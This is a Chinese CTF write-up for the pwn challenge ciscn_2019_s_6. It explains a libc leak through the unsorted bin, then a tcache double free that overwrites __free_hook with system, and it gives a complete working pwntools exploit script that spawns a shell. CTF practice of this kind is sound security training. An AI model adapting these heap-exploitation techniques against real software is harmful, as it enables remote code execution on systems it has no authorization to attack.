ciscn_2019_s_6

这道题好坑呜呜。
远程没有doubel free检查,而本地有。
所以我tmd调了一天的脚本
这里我就简单说下思路吧:能做到这道题的师傅都很强

1.保护全开,没有后门函数,就想到改malloc_hook或者free_hook为system函数或者onegadget,这道题的远程没有double free检查。
2.我们要先泄露libc基址,需要用unsorted_bin头为main_arena+88计算。
3.然后就有很多方法getshell了,如1所述。用double free来add堆块到free_hook,在free_hook内填入system地址,然后free的时候会调用system函数。
exp

from pwn import *
binary='./ciscn_s_6'
#io=remote('node3.buuoj.cn',26916)
io=process(binary)
elf=ELF(binary)
# context.log_level='debug'

def add(size,name,call):
        io.sendlineafter('choice:','1')
        io.sendlineafter('name',str(size))
        io.sendlineafter('name:',name)
        io.sendlineafter('call:',call)

def show(index):
        io.sendlineafter('choice:','2')
        io.sendlineafter('index:',str(index))

def delete(index):
        io.sendlineafter('choice:','3')
        io.sendlineafter('index:',str(index))

#leak libcbase
add(0x80,'aaaa','bbbb')#0
add(0x80,'a','a')#1
add(0x20,'b','b')#2
add(0x20,'/bin/sh\x00','c')#3

for i in range(7):
        delete(0)

delete(1)
show(1)
unsortedbin = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success('unsortedbin = '+hex(unsortedbin))
libcbase = unsortedbin - 0x3ebca0
success('libcbase = '+hex(libcbase))
libc = ELF('./libc-2.27_64.so')
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']

delete(2)
delete(2)

add(0x20,p64(free_hook),'b')
add(0x20,'c','d')
add(0x20,p64(system),'c')

delete(3)
io.interactive()

delete(3),因为3内填入了’/bin/sh’,所以会getshell。。。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值